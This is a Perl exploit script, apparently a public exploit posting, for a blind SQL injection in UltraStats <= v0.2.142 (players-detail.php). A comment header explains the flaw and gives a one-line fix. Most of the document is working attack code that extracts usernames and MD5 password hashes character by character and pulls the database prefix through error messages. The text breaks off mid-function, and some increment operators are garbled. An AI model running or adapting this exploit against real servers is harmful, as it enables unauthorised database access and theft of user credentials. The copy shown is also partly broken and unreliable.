Ultrastats

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

#
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.shooter-szene.de | http://www.ultrastats.org
# [!] Detected...: 29.06.2008
# [!] Reported...: 04.07.2008
# [!] Response...: xx.xx.2008
#
# [!] Background.: UltraStats is a very flexable log analyzing tool for Call of Duty 2 Server logfiles.
# It is able to parse and consolidate the information it can gather from these logs,
# and put them into a MySQL Database with a very efficient and high optimiced database
# layout.
#
# [!] Bug........: $_GET['id'] in players-detail.php near line 52
#
# 36: if ( isset($_GET['id']) )
# 37: {
# 38: // get and check
# 39: $content['playerguid'] = DB_RemoveBadChars($_GET['id']);
#
# 52: $sqlquery = "SELECT " .
# 53: "sum( " .STATS_ALIASES . ".Count) as Count, " .
# 54: STATS_ALIASES . ".Alias as Aliases_Alias, " .
# 55: STATS_ALIASES . ".AliasAsHtml as Aliases_AliasAsHtml" .
# 56: " FROM " . STATS_ALIASES .
# 57: " WHERE PLAYERID = " . $content['playerguid'] . " " .
# 58: GetCustomServerWhereQuery(STATS_ALIASES, false) .
# 59: " GROUP BY " . STATS_ALIASES . ".Alias " .
# 60: " ORDER BY Count DESC";
#
# [!] Tested on..: v0.2.136, v0.2.142
#
# [!] Solution...: no update from vendor till now
#
# [!] Quick fix..: in players-detail.php line 39:
#
# - replace:
# $content['playerguid'] = DB_RemoveBadChars($_GET['id']);
#
# - with:
# $content['playerguid'] = intval(DB_RemoveBadChars($_GET['id']));
#

if(!$ARGV[1])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n --------------------------oOO---(_)---OOo--------------------------";
print "\n | Ultrastats <= v0.2.142 (players-detail.php) Blind SQL Injection |";
print "\n | coded by DNX |";
print "\n ------------------------------------------------------------------";
print "\n[!] Usage: perl ultrastats.pl [Host] [Path] <Options>";
print "\n[!] Example: perl ultrastats.pl 127.0.0.1 /ultrastats/ -o 2 -i 123 -l 2 -t users";
print "\n[!] Options:";
print "\n -o [no] 1 = username (default)";
print "\n 2 = password";
print "\n 3 = find database prefix (error based)";
print "\n -i [no] Valid GUID, default is 1";
print "\n -l [no] Limitation in sql query, -l 0 shows the first row,";
print "\n -l 1 the second one and so on, default is 0";
print "\n -t [name] Changed the user table name, default is stats_users";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $target = "username";
my $user = 1;
my $limit = 0;
my $table = "stats_users";
my %options = ();
GetOptions(\%options, "o=i", "i=i", "l=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"i"})
{
$user = $options{"i"};
}

if($options{"l"})
{
$limit = $options{"l"};
}

if($options{"t"})
{
$table = $options{"t"};
}

if($options{"o"} == 1)
{
$target = "username";
get_username();
}
elsif($options{"o"} == 2)
{
$target = "password";
get_password();
}
elsif($options{"o"} == 3)
{
get_prefix();
}

sub get_username()
{
syswrite(STDOUT, "[!] Username: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$found)
{
$h = 64;
while(!$found && $h <= 122)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
}

sub get_password()
{
syswrite(STDOUT, "[!] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 102)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
}

sub get_prefix()
{
my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."players-detail.php?id=".$user."'";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;

$content =~ /^Database error: Invalid SQL: SELECT sum\( (.*?)_aliases.Count\) as Count,/;
print "[!] Prefix: ".$1;
}

print "\n[!] Exploit done\n";

sub istrue2
{
my $host = shift;
my $path = shift;
my $table = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."players-detail.php?id=".$user." AND SUBSTRING((SELECT ".$target." FROM ".$table." LIMIT ".$limit.",1),".$i.",1)=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://&quo